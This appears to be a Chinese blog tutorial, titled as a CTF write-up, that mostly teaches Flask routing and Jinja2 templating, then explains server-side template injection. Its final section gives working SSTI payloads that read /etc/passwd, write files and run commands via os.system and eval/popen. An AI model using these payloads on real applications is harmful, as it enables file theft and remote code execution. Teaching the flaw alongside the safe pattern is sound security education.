| 选择[BJDCTF 2020]The mystery of ip WP 与知识详解(一) | [BJDCTF 2020]The mystery of ip WP 与知识详解(一) |
|---|
| 选择[BJDCTF 2020]The mystery of ip WP 与知识详解(一) | [BJDCTF 2020]The mystery of ip WP 与知识详解(一) |
|---|
书接上文,我们在编程了第一个 Flask 程序后,相信大家对 Flask 都有了一定的了解,随后就来跟我一起看看接下来的内容吧。
一个网站最重要的就是 URL。这是每一个页面的唯一标识符,只有访问相应的 URL,才能访问对应的。
无参数 URL 的定义非常简单,只需要通过 @app.route 即可定义
@app.route("/profile")
def profile():
return '个人中心'
在 URL 上传递参数,有两种形式
@app.route("/blog/<int:id>")
def detail(id):
return f"获取到的 ID 为:{id}"
上述代码我们可以看到参数定义是通过语法:<类型:参数名>的形式传递的,其中类型是可选的,如果设置了,那么在解析参数的时候就会将该参数转换为对应的类型,如果转换失败,那么就会抛出404错误;如果没有设置,那么参数类型就是字符串类型。除了int类型外,还有以下其他类型:
string:字符串类型,默认类型。int:整形。float:浮点类型。path:路径。类似string,但是中间即使添加了/,也会将其当做成一个整体。uuid:UUID类型。any:备选值中的任何一个。比如@app.route("/blog/list/<any(python,flask,django):category>"),那么参数category就只能是python、flask和django中的一个,否则就会出现404错误。这里就不过多举例子了,因为前文已经举过了。
query string 传参在参数定义时与无参数 URL 一样,然后在视图函数中通过 request.args.get(“参数名称”) 来获取参数
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route("/blog")
def detail():
id = request.args.get("id")
return f"获取的 ID 为:{id}"
if __name__ == "__main__":
app.run(debug=True)

在浏览器中可以通过/blog?blod_id=123来访问该视图函数。如果有多个参数需要传递,那么就通过&符号连接,示例代码如下:
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route("/blog/list")
def blog_list():
page = request.args.get("page")
size = request.args.get("size")
return f"获取到的page为:{page},size为:{size}"
if __name__ == "__main__":
app.run(debug=True)

| 快捷路由装饰器 | 描述 |
| app.get(“/login”) | 等价于app.route(“/login”,methods=[‘GET’]) |
| app.post(“/login”) | 等价于app.route(“/login”,methods=[“POST”]) |
| app.put(“/login”) | 等价于app.route(“/login”,methods=[“PUT”]) |
| app.delete(“/login”) | 等价于app.route(“/login”,methods=[“DELETE”]) |
| app.patch(“/login”) | 等价于app.route(“/login”,methods=[“PATCH”]) |
这是一种 API 设计风格,核心思想是:
GET:获取资源POST:创建资源PUT:更新资源DELETE:删除资源代码示例如下:
from flask import Flask
app = Flask(__name__)
# 获取博客列表
@app.get("/blog")
def get_blogs():
return "获取博客列表"
# 创建新博客
@app.post("/blog")
def create_blog():
return "创建新博客"
# 获取某篇博客
@app.get("/blog/<int:id>")
def get_blog(id):
return f"查看博客 {id}"
# 更新博客
@app.put("/blog/<int:id>")
def update_blog(id):
return f"更新博客 {id}"
# 删除博客
@app.delete("/blog/<int:id>")
def delete_blog(id):
return f"删除博客 {id}"
在Flask中,重定向是通过flask.redirect(location,code=302)函数来实现的,location表示需要重定向到哪个URL,code代表状态码,默认是302,也即暂时性重定向。下面我们用一个简单的案例来说明下这个函数的用法。
from flask import Flask,url_for,redirect
app = Flask(__name__)
@app.route('/login')
def login():
return 'login page'
@app.route('/profile')
def profile():
name = request.args.get('name')
if not name:
# 如果没有name,说明没有登录,重定向到登录页面
return redirect("/login")
else:
return name
因此,在Flask中,渲染HTML通常会交给模板引擎来做,而Flask中默认配套的模板引擎是Jinja2,Jinja2的作者也是Flask的作者,Jinja2可以独立于Flask使用,比如被Django使用。Jinja2是一个高效、可扩展的模板引擎。
默认会生成一个templates文件夹,如果没有修改模板查找路径,默认会在这个文件夹下寻找模板文件。模板文件可以是任意纯文本格式的文件,比如TXT、HTML、XML等,但是为了让项目更规范,也为了与前端开发者更无缝的协作,一般我们都是用HTML文件来写模板代码。
如果项目中没有生成templates目录,则可以手动创建templates目录。比如我们这里创建一个首页的视图和模板,那么视图函数代码为:
# app.py
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def index():
# 会在项目根路径下的templates下寻找index.html文件
return render_template("index.html")
if __name__ == "__main__":
app.run(debug=True)
//index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>这是首页</h1>
</body>
</html>

在HTML文件中,有些数据是需要从数据库中动态加载的,比如博客列表,不可能新增一篇博客就要修改html的代码,正确的做法是每次用户访问这个博客列表URL时,在视图函数中就读取最新的博客数据,然后把最新的博客数据传递到模板中。这时候就涉及到,在模板中怎么使用变量,比如下面渲染模板的时候,我们就会传入一个hobby参数,示例代码如下:
# app.py
@app.route("/profile")
def profile():
hobby = "游戏"
return render_template("profile.html",hobby=hobby)
// index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>变量使用</title>
</head>
<body>
<h1>我的兴趣爱好是:{{ hobby }}</h1>
</body>
</html>

上述代码中,我们使用了{{ 变量名 }}的语法,来读取一个从视图函数中传递过来的变量hobby。
在模板中,也使用对象.属性或字典.key的语法来访问对应的值。比如下面代码传给模板文件有一个user对象和一个person字典。示例代码如下:
class User:
def __init__(self,username,email):
self.username = username
self.email = email
@app.route("/profile")
def profile():
hobby = "游戏"
person = {
"name": "张三",
"age": 18
}
user = User("李四","xx@qq.com")
return render_template("profile.html",hobby=hobby,person=person,user=user)
然后在profile.html中就可以通过以下方式来访问user.属性和person.key。示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>变量使用</title>
</head>
<body>
<h1>我的兴趣爱好是:{{ hobby }}</h1>
<p>person的姓名是:{{ person.name }},person的年龄是:{{ person.age }}</p>
<p>user的用户名是:{{ user.name }},user的邮箱是:{{ user.email }}</p>
</body>
</html>
模板中,也存在if语句和for循环等控制语句。所有的控制语句,都是放在{% %}中间的,并且在控制语句结束后,要加入相应的结束语句。
例如:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>if语句</title>
</head>
<body>
{% if age > 18 %}
<div>您已成年!</div>
{% elif age < 18 %}
<div>您未成年!</div>
{% else %}
<div>您刚成年!</div>
{% endif %}
</body>
</html>
同时,if结束后必须跟一个endif语句。另外在模板中的缩进并不是必须的,只是为了代码阅读性更强。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>for循环</title>
</head>
<body>
<table>
<thead>
<tr>
<th>书名</th>
<th>作者</th>
<th>价格</th>
</tr>
</thead>
<tbody>
{% for book in books %}
<tr>
<td>{{ book.name }}</td>
<td>{{ book.author }}</td>
<td>{{ book.price }}</td>
</tr>
{% endfor %}
</tbody>
</table>
</body>
</html>
Jinja2模板中没有continue和break语句,读者需要注意。
说了那么多,那么到底什么是模板注入呢?——不正确的使用 flask 中的 render_template_string 方法会引发 SSTI。
当用户输入直接拼接到模板字符串中,Jinja2会把它当作模板代码执行:
# 危险:用户输入被拼接
render_template_string("<h3>" + request.args.get('id') + "</h3>")
# 安全:用户输入作为数据传入
render_template_string("<h3>{{ id }}</h3>", id=request.args.get('id'))
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
附上一段代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

此时发现表达式被执行,访问 config

python 中的魔法函数
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
构造payload的大致思路是:找到父类<type 'object'>–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模板
'a'.__class__
<type 'str'>
'a'.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
'a'.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
此时就发现有一个 <type ‘file’> 类,所以此时就可以拿他进行读取文件
'a'.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()

同样命令执行也类似于这么找,python中进行命令执行的模板是os,那么寻找包含os模板的应用类
构造 payload 为:
'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
常用 Payload
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
评论(2)